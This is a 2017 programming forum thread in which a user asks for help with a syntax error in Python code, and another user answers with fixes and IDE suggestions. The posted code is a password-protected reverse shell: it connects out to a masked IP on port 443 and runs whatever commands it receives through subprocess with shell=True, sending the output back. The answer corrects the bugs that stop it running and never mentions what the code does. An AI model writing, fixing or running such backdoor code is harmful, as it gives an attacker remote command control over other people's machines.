+ 2

Hi, Just got back into python after 2 months of learning other stuff. Im getting an error on line 77. Pls help.

I think im missing something when calling methods, im not sure what though. CODE: import socket import subprocess ip = '************' port = '443' password = '**********' def login(): global s s.send("Login: ") pwd = s.recv(1024) if pwd.strip() != password: login() else: s.send("Connected #> ") shell() def shell(): while True: data = s.recv(1024) if data.strip() == ":kill": quit() proc = subprocess.popen(data, shell=true, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdir=subprocess.PIPE) output = proc.stdout.read() + proc.stderr.read() s.send(output) s.send("#> ") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((int(ip),int(port)) login() OUTPUT: File "./python.py", line 77 login() ^ SyntaxError: invalid syntax

9th Feb 2017, 1:13 AM
StaticComs
StaticComs - avatar
3 Antworten
0
proc = subprocess.popen(data, shell=true, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdir=subprocess.PIPE) <-- shell=True also no reference to popen maybe Popen?, but then the argument (stdir) is unexpected. Python version 3.5 s.connect((int(ip),int(port)) <-- you're missing the last ) See if that helps. P.S. which IDE do you use? I use PyCharm picked those issues up as soon as I pasted the code.
9th Feb 2017, 1:39 AM
ChaoticDawg
ChaoticDawg - avatar
0
@ChaoticDawg Im on linux so im using sublime text. Thank you for the response.
9th Feb 2017, 1:40 AM
StaticComs
StaticComs - avatar
0
Cool, I like sublime text. Hope your using something like the Anaconda and SublimeLinter with PyFlakes for your Python development. If not maybe give them a shot to help pick up on issues like this. I quit using ST for Py dev once I started using PyCharm especially since I am more familiar with the Jetbrains IDE's from Java and Android programming. They do make a free version for linux if you ever feel like trying it. Good luck, let me know if I can help any further.
9th Feb 2017, 2:03 AM
ChaoticDawg
ChaoticDawg - avatar